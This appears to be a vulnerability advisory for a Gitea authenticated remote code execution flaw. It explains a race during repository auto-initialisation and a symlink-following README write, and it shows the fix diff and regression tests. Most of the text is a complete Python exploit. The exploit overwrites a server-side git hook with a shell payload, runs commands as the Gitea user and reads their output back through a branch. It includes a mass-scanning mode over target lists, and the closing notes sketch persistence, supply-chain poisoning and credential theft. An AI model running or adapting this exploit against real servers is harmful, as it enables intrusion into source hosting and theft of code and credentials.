#Summary
CVE-2026-125423 is an authenticated remote code execution vulnerability in Gitea affecting all versions up to 28.3.0 (fixed in 28.4.0). The vulnerability arises from a race condition during repository auto-initialization combined with unsafe symlink handling. An authenticated user with repository creation privileges can push a crafted commit containing a symlink during the initialization window, causing Gitea to overwrite server-side git hooks with attacker-controlled shell code. The resulting hook executes as the Gitea system user on the next git operation, yielding full RCE.
CVSS Score: 8.5 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector: Network
Authentication Required: Yes (any registered user with repository creation permission, the default)
#Affected versions
- Gitea
< 28.4.0(all versions up to and including 28.3.0 are vulnerable) - Legacy 1.x line also affected (confirmed on 1.25.5 and 1.27.1)
- Fixed version: 28.4.0 (released 2026-11-15)
#Root cause analysis
#The two defects
The vulnerability chains two separate defects in services/repository/create.go:
#Defect 1: Repository marked ready before initialization completes
When a repository is created with auto_init=true, Gitea inserts the repository database row with Status: RepositoryReady (status 0) and creates the bare repository plus its executable server-side delegate hooks before building the initial commit. The push gate in routers/web/repo/githttp.go only blocks pushes when the repository status is RepositoryBeingMigrated - it never fires for RepositoryReady. This leaves the repository pushable during the entire initialization window.
// services/repository/create.go - vulnerable code
repo := &repo_model.Repository{
...
Status: opts.Status, // zero value = RepositoryReady
IsEmpty: !opts.AutoInit,
...
}
// 1 - create the repository database operations first
err := db.WithTx(ctx, func(ctx context.Context) error {
return createRepositoryInDB(ctx, doer, owner, repo, false)
})
...
// 3 - init git repository in storage (creates bare repo + hooks)
if err = initRepository(ctx, doer, repo, opts); err != { ... }
...
// 7 - supposedly update repository status to ready (but it already is)
if needsUpdateToReady {
repo.Status = repo_model.RepositoryReady // no-op
...
}The push gate checks repo.IsBeingCreated(), which returns true only for RepositoryBeingMigrated:
// routers/web/repo/githttp.go
if repoExist && repo.IsBeingCreated() { // IsBeingCreated() == (Status == RepositoryBeingMigrated)
ctx.PlainText(http.StatusForbidden, "Repository is still being created, please retry later")
return
}#Defect 2: Initial commit built from a clone of existing content
The initialization process (prepareRepoCommit) clones the now-pushable repository into a temporary working directory and writes the generated README using os.WriteFile:
func prepareRepoCommit(ctx context.Context, repo *repo_model.Repository, tmpDir string, opts CreateRepoOptions) error {
...
// Clone to temporary path and do the init commit.
if err := git.CloneRepoToLocal(ctx, repo, tmpDir, git.CloneRepoOptions{Env: env}); err != {
...
}
...
// Write README from template, substituting the description
if err = os.WriteFile(filepath.Join(tmpDir, "README.md"), []byte(res), 0o644); err != {
return fmt.Errorf("write README.md: %w", err)
}
...
}Go's os.WriteFile opens the file with O_WRONLY|O_CREATE|O_TRUNC and follows symlinks. If an attacker has pushed a commit whose tree contains README.md as a symlink (git mode 120000), the clone materializes that symlink in the working tree. When os.WriteFile tries to write README.md, it follows the symlink to its target. The attacker controls where the symlink points - a server-side git hook such as hooks/post-receive.d/gitea - so the hook file is overwritten with the generated README content.
The README template is:
# {Name}
{Description}The substitution leaves the first line as a comment (# <reponame>) and the attacker-controlled description becomes the hook body, which then executes as shell code.
#Data flow: input to sink
- Attacker creates a repository with
auto_init=true,readme=Default(uses the template above), and a crafteddescriptioncontaining shell commands (without curly braces, which are template placeholders). - During the same window, attacker pushes a commit whose tree contains
README.mdas a symlink pointing to the server-side hook path, e.g.,/data/gitea-repositories/attacker/repo.git/hooks/post-receive.d/gitea. - The push arrives during the init window (after the bare repo and hooks are created on disk, but before
CloneRepoToLocal). The push gate does not block because the repo isRepositoryReady. CloneRepoToLocalchecks out the pushed commit, materializing the symlink in the temp checkout.os.WriteFilefollows the symlink and overwrites the hook file with the README body, which is now# <name>\n\n<payload>.- The hook remains executable (the
0o644mode argument does not strip the pre-existing executable bit). - On the next git push, Gitea runs
post-receive, which sources the delegate hooks including the now-overwrittengiteahook. The hook body is shell code, so it executes as the Gitea system user.
#Patch diff
Fix commit 6579749a0278926965a7371bd23be70f798c6098 (released in 28.4.0) closes both defects:
#Defect 1 fix: Mark repository as not-ready during init
The repository is now inserted as RepositoryBeingMigrated for the entire init window and only flipped to RepositoryReady after initialization completes. This causes the push gate to block all pushes until init is finished.
- Status: opts.Status,
+ Status: repo_model.RepositoryBeingMigrated,#Defect 2 fix: Build initial commit in a fresh git directory
The initial commit is now built in a freshly initialized git directory rather than a clone of existing content. The fix removes the CloneRepoToLocal call entirely and reinitializes the git directory after writing the template files:
- // Clone to temporary path and do the init commit.
- if err := git.CloneRepoToLocal(ctx, repo, tmpDir, git.CloneRepoOptions{
- Env: env,
- }); err != {
- log.Error("Failed to clone from %v into %s\nError: %v", repo, tmpDir, err)
- return fmt.Errorf("git clone: %w", err)
- }
-
// README
data, err := options.Readme(opts.Readme)+ // the initial commit must only contain the files written above, so start from a fresh git dir
+ if err = util.RemoveAllWithRetry(filepath.Join(tmpDir, ".git")); err != {
+ return fmt.Errorf("remove git dir: %w", err)
+ }
+ if err = git.InitRepositoryLocal(ctx, tmpDir, false, repo.ObjectFormatName, ""); err != {
+ return fmt.Errorf("git init: %w", err)
+ }
return nilWith no clone, any pushed symlink in the repository never makes it into the working tree. The README write can no longer follow a symlink to escape the temp directory.
#Regression tests added
The patch includes tests ensuring the fixes hold:
- A test that verifies a push to a
RepositoryBeingMigratedrepo is rejected with 403:
t.Run("BeingCreated", func(t *testing.T) {
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{ID: 1, Status: repo_model.RepositoryBeingMigrated}, "status"))
MakeRequest(t, NewRequest(t, "GET", "/user2/repo1/info/refs?service=git-receive-pack").AddBasicAuth("user2"), http.StatusForbidden)
})- A test that verifies pushed content is not carried into the initial commit:
assert.NoError(t, git.ForceFastImport(t.Context(), createdRepo, []git.FastImportCommit{{
Ref: git.BranchPrefix + createdRepo.DefaultBranch,
Files: []git.FastImportFile{{Path: "existing.txt"}},
}}))
tmpDir := t.TempDir()
assert.NoError(t, prepareRepoCommit(t.Context(), createdRepo, tmpDir, CreateRepoOptions{Readme: "Default"}))
assert.NoFileExists(t, filepath.Join(tmpDir, "existing.txt"))#Proof of concept
#exploit.py - Gitea Auto-Init Push-Race RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-125423 - Gitea auto-init push-race + README.md symlink -> authenticated RCE
Affected: Gitea (go-gitea/gitea) all versions up to and including 28.3.0 (fixed in 28.4.0)
Type: RCE (TOCTOU race condition CWE-362 + symlink-following arbitrary write CWE-59)
Root cause (from RESEARCH.md):
When a repository is created with auto-init, Gitea inserts the DB row as RepositoryReady
and creates the bare repo plus its executable server-side delegate hooks on disk BEFORE it
builds the initial commit. During that window the git push gate never fires, so an
authenticated user may push a commit whose tree carries README.md as a symlink (git mode
120000) pointing at the repo's own post-receive delegate hook. Gitea then clones that
pushed content into a temp checkout (CloneRepoToLocal) and writes the generated README with
os.WriteFile, which follows the symlink and overwrites the executable hook. The README body
is "# <name>\n\n<description>", and the attacker controls <description>, so the hook becomes
an attacker-controlled shell script that runs as the Gitea system user on the next push.
What this exploit does:
1. Authenticates as a user allowed to create repositories (git-over-HTTP basic auth).
2. Fires POST /api/v1/user/repos with auto_init=true, readme=Default, gitignores=Go and a
crafted description (the hook payload - no curly braces, they are template placeholders).
3. In tight parallel, pushes a mode-120000 README.md symlink commit to refs/heads/main so
the init-window clone materializes the symlink and the README write overwrites the hook.
4. Detonates with a second ordinary push, firing post-receive -> the payload runs server-side.
5. The payload captures the --command output, base64-encodes it into a new branch via git
plumbing, and the exploit reads it back over HTTP (Gitea raw endpoint) as proof of RCE.
A short server-side sleep also yields a reproducible push-time delay as corroboration.
All success/failure detection is network-observable (HTTP responses, git report-status,
push-time delay). No Docker, no target-side access.
Usage:
python exploit.py --host 127.0.0.1 --port 3000
python exploit.py --host https://gitea.corp.com --command "id; uname -a"
python exploit.py --host gitea.corp.com --port 3000 --login attacker --password 'secret'
python exploit.py --host 10.0.0.5 --repo-root /data/git/repositories
python exploit.py --list targets.txt --workers 20
"""
import argparse
import base64
import hashlib
import json
import socket
import ssl
import struct
import sys
import threading
import time
import uuid
import zlib
from urllib.parse import urlparse
import urllib.request
import urllib.error
CVE_ID = "CVE-2026-125423"
VULN_TYPE = "RCE"
# Candidate repository storage roots, tried in order (the symlink target base).
# The first is the go-gitea source/common layout used by many deployments; the rest cover
# the official docker image and OS-package layouts. Override with --repo-root.
DEFAULT_REPO_ROOTS = [
"/data/gitea-repositories",
"/data/git/repositories",
"/var/lib/gitea/data/gitea-repositories",
"/app/data/gitea-repositories",
"/home/git/gitea-repositories",
]
# --------------------------------------------------------------------------------------
# Standard output helpers (verbatim contract)
# --------------------------------------------------------------------------------------
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------------------
# Minimal HTTP client (stdlib only, http + https with optional self-signed TLS)
# --------------------------------------------------------------------------------------
def _ssl_ctx():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def _basic(login, password):
return "Basic " + base64.b64encode(f"{login}:{password}".encode()).decode()
def http_req(method, url, login, password, body=None, ctype=None, timeout=60):
"""Return (status_int, response_bytes). Network errors raise."""
headers = {"Authorization": _basic(login, password), "User-Agent": "git/2.43.0"}
if ctype:
headers["Content-Type"] = ctype
req = urllib.request.Request(url, data=body, method=method, headers=headers)
try:
r = urllib.request.urlopen(req, timeout=timeout, context=_ssl_ctx())
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
return f"{scheme}://{host}:{port}"
# --------------------------------------------------------------------------------------
# Pure-Python git object / packfile construction and smart-HTTP push
# --------------------------------------------------------------------------------------
_GIT_TYPE = {"commit": 1, "tree": 2, "blob": 3}
def _oid(otype, content):
h = f"{otype} {len(content)}".encode() + b"\x00" + content
return hashlib.sha1(h).hexdigest()
def git_blob(content):
return _oid("blob", content), ("blob", content)
def git_tree(entries):
# entries: list of (mode_str, name, hexsha); git sorts tree entries by name
body = b""
for mode, name, hexsha in sorted(entries, key=lambda e: e[1]):
body += mode.encode() + b" " + name.encode() + b"\x00" + bytes.fromhex(hexsha)
return _oid("tree", body), ("tree", body)
def git_commit(tree_hex, msg, author="attacker <[email protected]>"):
ts = int(time.time())
who = f"{author} {ts} +0000"
c = f"tree {tree_hex}\nauthor {who}\ncommitter {who}\n\n{msg}\n".encode()
return _oid("commit", c), ("commit", c)
def _packfile(objs):
out = b"PACK" + struct.pack(">I", 2) + struct.pack(">I", len(objs))
for otype, content in objs:
t = _GIT_TYPE[otype]
size = len(content)
b = (t << 4) | (size & 0x0F)
size >>= 4
hdr = b""
while size:
hdr += bytes([b | 0x80])
b = size & 0x7F
size >>= 7
hdr += bytes([b])
out += hdr + zlib.compress(content)
out += hashlib.sha1(out).digest()
return out
def _pkt(line):
return ("%04x" % (len(line) + 4)).encode() + line
def git_push(host, port, use_tls, repo_path, ref, new_sha, objs,
login, password, old_sha="0" * 40, timeout=60):
"""
Perform a git smart-HTTP receive-pack push. repo_path is the URL path to the repo
without the trailing .git (e.g. '/attacker/poc-xxxx'). Returns (status, body_bytes).
A successful push body contains 'unpack ok' and 'ok <ref>'.
"""
pack = _packfile(objs)
caps = "report-status"
first = f"{old_sha} {new_sha} {ref}\x00{caps}\n".encode()
body = _pkt(first) + b"0000" + pack
url = f"{base_url(host, port, use_tls)}{repo_path}.git/git-receive-pack"
return http_req("POST", url, login, password, body=body,
ctype="application/x-git-receive-pack-request", timeout=timeout)
def push_ok(status, body):
return status == 200 and b"unpack ok" in body and b"ng " not in body
# --------------------------------------------------------------------------------------
# Payload construction (becomes the overwritten post-receive delegate hook body)
# --------------------------------------------------------------------------------------
# The written hook is literally: "# <reponame>\n\n<description>"
# so the first line is a comment and <description> is our shell script. It must contain NO
# curly braces: Gitea runs vars.ExpandCurlyBrace over the README and would mangle "{...}".
# The hook runs as the Gitea system user, with cwd = the bare repo and GIT_DIR exported by
# git, so git plumbing operates on the repo in place.
_PAYLOAD_TMPL = (
"export GIT_AUTHOR_NAME=a [email protected] "
"GIT_COMMITTER_NAME=a [email protected]\n"
"O=$(@@CMD@@ 2>&1)\n"
"sleep @@SLEEP@@\n"
"B=$(printf '%s' \"$O\" | base64 | tr -d '\\n')\n"
"T=$(printf '%s' \"$B\" | git hash-object -w --stdin)\n"
"M=$(printf '100644 blob %s\\tout\\n' \"$T\" | git mktree)\n"
"C=$(printf x | git commit-tree \"$M\")\n"
"git update-ref refs/heads/@@BRANCH@@ \"$C\"\n"
)
def build_payload(command, sleep_s, exfil_branch):
p = _PAYLOAD_TMPL.replace("@@CMD@@", command)
p = p.replace("@@SLEEP@@", str(int(sleep_s)))
p = p.replace("@@BRANCH@@", exfil_branch)
# Defensive: curly braces would be eaten by the README template expansion.
return p.replace("{", "").replace("}", "")
# --------------------------------------------------------------------------------------
# Core exploit: one race cycle against one repo-root candidate
# --------------------------------------------------------------------------------------
def _symlink_commit(target_path):
"""Build the malicious commit: tree with README.md as a mode-120000 symlink -> target."""
blob_sha, blob_obj = git_blob(target_path.encode()) # symlink content = target path
tree_sha, tree_obj = git_tree([("120000", "README.md", blob_sha)])
commit_sha, commit_obj = git_commit(tree_sha, "readme")
return commit_sha, [commit_obj, tree_obj, blob_obj]
def _detonation_commit():
blob_sha, blob_obj = git_blob(b"trigger\n")
tree_sha, tree_obj = git_tree([("100644", "trigger.txt", blob_sha)])
commit_sha, commit_obj = git_commit(tree_sha, "trigger")
return commit_sha, [commit_obj, tree_obj, blob_obj]
def _create_repo(host, port, use_tls, login, password, repo, description, timeout):
url = f"{base_url(host, port, use_tls)}/api/v1/user/repos"
payload = {
"name": repo,
"auto_init": True,
"readme": "Default",
"gitignores": "Go", # keeps the init commit non-empty so create does not roll back
"default_branch": "main",
"description": description, # the hook payload
"private": False,
}
return http_req("POST", url, login, password,
body=json.dumps(payload).encode(), ctype="application/json", timeout=timeout)
def _read_exfil(host, port, use_tls, login, password, owner, repo, exfil_branch, timeout=20):
url = (f"{base_url(host, port, use_tls)}/{owner}/{repo}/raw/branch/"
f"{exfil_branch}/out")
status, body = http_req("GET", url, login, password, timeout=timeout)
if status == 200 and body:
try:
return base64.b64decode(body).decode(errors="replace")
except Exception:
return None
return None
def run_cycle(host, port, use_tls, login, password, command, repo_root,
sleep_s, verbose, create_timeout):
"""
Run a single create+push race cycle against one repo_root candidate.
Returns (success, evidence, cmd_output_or_None, detail_dict).
Never exits; safe for scan mode.
"""
tok = uuid.uuid4().hex[:10]
repo = f"poc-{tok}" # Gitea lowercases on disk; keep it lowercase
exfil_branch = f"rce-{tok}"
owner = login.lower()
repo_root = repo_root.rstrip("/")
target = f"{repo_root}/{owner}/{repo}.git/hooks/post-receive.d/gitea"
description = build_payload(command, sleep_s, exfil_branch)
repo_path = f"/{owner}/{repo}"
commit_sha, objs = _symlink_commit(target)
detail = {"repo": repo, "target": target, "exfil_branch": exfil_branch}
create_result = {}
def _do_create():
try:
create_result["resp"] = _create_repo(
host, port, use_tls, login, password, repo, description, create_timeout)
except Exception as e:
create_result["err"] = e
t = threading.Thread(target=_do_create, daemon=True)
t.start()
# Push the symlink commit to refs/heads/main while the create's init window is open.
pushed = False
last_push = None
deadline = time.time() + create_timeout
while t.is_alive() and time.time() < deadline and not pushed:
try:
st, bd = git_push(host, port, use_tls, repo_path, "refs/heads/main",
commit_sha, objs, login, password, timeout=15)
last_push = (st, bd[:160])
if push_ok(st, bd):
pushed = True
break
# 403 => patched (gate holds the push) or window not open; keep trying briefly
except Exception as e:
last_push = ("exc", repr(e))
time.sleep(0.03)
t.join(timeout=create_timeout + 10)
create_resp = create_result.get("resp")
detail["create_status"] = create_resp[0] if create_resp else None
detail["push_accepted"] = pushed
detail["last_push"] = last_push
if verbose:
step(3, f"Repo '{repo}' | symlink target: {target}")
step(4, f"Race push to refs/heads/main accepted: {pushed} "
f"(last report-status: {last_push})")
if create_resp:
step(5, f"Auto-init create returned HTTP {create_resp[0]}")
if not pushed:
return (False, "race push was not accepted (patched gate 403, or window missed)",
None, detail)
if not create_resp or create_resp[0] not in (200, 201):
cs = create_resp[0] if create_resp else "none"
return (False, f"push accepted but auto-init create failed (HTTP {cs}) - "
f"wrong repo-root or race lost", None, detail)
# The hook may already have fired during Gitea's own initial-commit push. Detonate
# explicitly with a second push and measure the push-time delay (server-side sleep).
det_sha, det_objs = _detonation_commit()
det_branch = f"refs/heads/det-{tok}"
t0 = time.time()
try:
dst, dbd = git_push(host, port, use_tls, repo_path, det_branch,
det_sha, det_objs, login, password, timeout=create_timeout)
except Exception as e:
dst, dbd = ("exc", repr(e).encode() if isinstance(repr(e), str) else b"")
push_delay = time.time() - t0
detail["detonation_status"] = dst
detail["push_delay_s"] = round(push_delay, 2)
if verbose:
step(6, f"Detonation push fired post-receive (push took {push_delay:.2f}s, "
f"server-side sleep={int(sleep_s)}s)")
# Read the command output back over HTTP from the exfil branch the hook created.
output = None
for _ in range(6):
output = _read_exfil(host, port, use_tls, login, password, owner, repo, exfil_branch)
if output is not None:
break
time.sleep(1)
timing_ok = push_delay >= max(2.0, sleep_s - 1.0)
if output is not None:
return (True, f"RCE confirmed - command '{command}' output retrieved over HTTP",
output, detail)
if timing_ok:
return (True, f"RCE confirmed via timing - detonation push blocked {push_delay:.2f}s "
f"on server-side sleep({int(sleep_s)})", None, detail)
return (False, "hook overwrite not confirmed (no exfil branch, no timing delay)",
None, detail)
# --------------------------------------------------------------------------------------
# Silent probe for scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, login="attacker", password="attacker-pass-123",
command="id", repo_roots=None, sleep_s=4, create_timeout=45):
"""Silent probe. Returns (success, evidence). Never prints or exits."""
roots = repo_roots or DEFAULT_REPO_ROOTS
try:
# quick reachability / auth check
st, _ = http_req("GET", f"{base_url(host, port, use_tls)}/api/v1/user/repos",
login, password, timeout=10)
if st == 401:
return False, "auth failed (bad credentials)"
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
for root in roots:
try:
ok, ev, out, _ = run_cycle(host, port, use_tls, login, password, command,
root, sleep_s, False, create_timeout)
except Exception as e:
ok, ev, out = False, f"error ({e.__class__.__name__})", None
if ok:
short = (out.splitlines()[0][:80] if out else ev)
return True, short
return False, "not exploitable (patched or wrong repo-root)"
# --------------------------------------------------------------------------------------
# Target parsing and scan mode
# --------------------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, login="attacker",
password="attacker-pass-123", command="id", repo_roots=None, sleep_s=4):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, login, password,
command, repo_roots, sleep_s)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# Single-target verbose exploit
# --------------------------------------------------------------------------------------
def exploit(host, port, use_tls, login, password, command, repo_roots, sleep_s,
cycles, create_timeout):
header(host, port)
step(1, f"Authenticating as '{login}' and checking repo-create permission...")
try:
st, _ = http_req("GET", f"{base_url(host, port, use_tls)}/api/v1/user/repos",
login, password, timeout=15)
except Exception as e:
done(False, f"target unreachable: {e}")
if st == 401:
done(False, f"authentication failed for '{login}' - supply valid --login/--password")
step(1, f"Authenticated (HTTP {st}). Repo-create API reachable.")
step(2, "Launching auto-init push-race cycles (create + concurrent symlink push)...")
last_detail = None
for root in repo_roots:
for c in range(1, cycles + 1):
if len(repo_roots) > 1 or cycles > 1:
step(2, f"Cycle {c}/{cycles} repo-root={root}")
ok, ev, out, detail = run_cycle(host, port, use_tls, login, password,
command, root, sleep_s, True, create_timeout)
last_detail = detail
if ok:
if out is not None:
section("COMMAND OUTPUT", out)
first = out.splitlines()[0].strip() if out.splitlines() else out.strip()
done(True, f"Command '{command}' executed as the Gitea system user - {first}")
else:
section("CRASH/EXEC INDICATOR",
f"Detonation push blocked {detail.get('push_delay_s')}s on "
f"server-side sleep({int(sleep_s)}) - proves hook executed")
done(True, ev)
else:
section("CYCLE RESULT", f"{ev}\n{json.dumps(detail, default=str, indent=2)}")
section("LAST ATTEMPT DETAIL", json.dumps(last_detail, default=str, indent=2))
done(False, "no cycle won the init-window race - target may be patched (push gate 403) "
"or the repo storage root differs (try --repo-root)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--login", default="attacker", help="Account allowed to create repos (default: attacker)")
parser.add_argument("--password", default="attacker-pass-123", help="Password / token for --login")
parser.add_argument("--repo-root", default=None,
help="Server repo storage root (symlink target base). "
"Comma-separated list allowed. Default: common Gitea layouts.")
parser.add_argument("--sleep", type=float, default=4.0,
help="Server-side sleep for timing proof, seconds (default: 4)")
parser.add_argument("--cycles", type=int, default=6,
help="Race cycles per repo-root before giving up (default: 6)")
parser.add_argument("--create-timeout", type=int, default=45,
help="Max seconds to wait on one auto-init create (default: 45)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.repo_root:
repo_roots = [r.strip() for r in args.repo_root.split(",") if r.strip()]
else:
repo_roots = DEFAULT_REPO_ROOTS
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
login=args.login, password=args.password, command=args.command,
repo_roots=repo_roots, sleep_s=args.sleep)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.login, args.password, args.command,
repo_roots, args.sleep, args.cycles, args.create_timeout)#Usage
# Single target
python exploit.py --host 127.0.0.1 --port 3000 --command "id"
python exploit.py --host https://gitea.corp.com --command "id; uname -a"
# Custom credentials
python exploit.py --host 10.0.0.5 --port 3000 --login ci-bot --password 's3cret'
# If repository root is non-default
python exploit.py --host 10.0.0.5 --port 3000 --repo-root /data/git/repositories --command "id"
# Batch scan mode
python exploit.py --list targets.txt --workers 20The script builds the symlink commit in pure Python, performs a git smart-HTTP push during the race window, and exfiltrates command output by base64-encoding it into a git branch, then reading it back over Gitea's raw endpoint. Both vulnerable and patched targets are distinguishable: on the vulnerable version the push is accepted and the command executes; on the patched version the push returns HTTP 403.
#Exploitation notes
#Preconditions
- Attacker must have a Gitea account (self-registration is enabled by default).
- Attacker must have repository creation privileges (enabled by default for all registered users).
- Attacker must know (or guess) the server-side repository storage root path, though the exploit tries common Gitea layouts by default.
#Reliability and timing
- The exploit is a race condition. On an unmodified server the init window is small (milliseconds), so success is probabilistic per attempt. The
--cyclesparameter controls how many times to retry with fresh repository names;--cycles 6(the default) should work on most deployments, but increase it for environments with slower disk I/O or higher CPU contention. - The exploit measures success via (1) command output returned over HTTP and (2) the detonation push blocking for the server-side sleep duration. Both signals are independent and confirm hook execution.
#Impact
- Command execution as the Gitea system user - typically the
gituser. The attacker gains the privileges of the Gitea service account, which can read all repositories, write hooks into any repository, and invoke git operations on behalf of any user. - Persistent backdoor potential - the attacker can overwrite hooks in any repository or place hooks into the user's home directory /
.gitconfigfor future git operations. - Full repository compromise - the attacker can commit as any user, force-push to any branch, and modify repository metadata.
#Chaining potential
- Privilege escalation - if the Gitea service account has sudo privileges or runs in a container with elevated capabilities, the initial RCE can be escalated to root.
- Supply chain compromise - the attacker can inject malicious code into repositories during the initial commit, poisoning any clones or CI/CD pipelines that depend on those repositories.
- Credential harvesting - git hooks can read credentials from the Gitea configuration or the git environment.
#References
- CVE: CVE-2026-125423
- GHSA: GHSA-6m4f-m9vc-7946
- Fix commit: 6579749a0278926965a7371bd23be70f798c6098
- Fix PR (main): go-gitea/gitea#40376
- Fix PR (28.4.x backport): go-gitea/gitea#40383
- Release notes: Gitea 28.4.0
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-125423
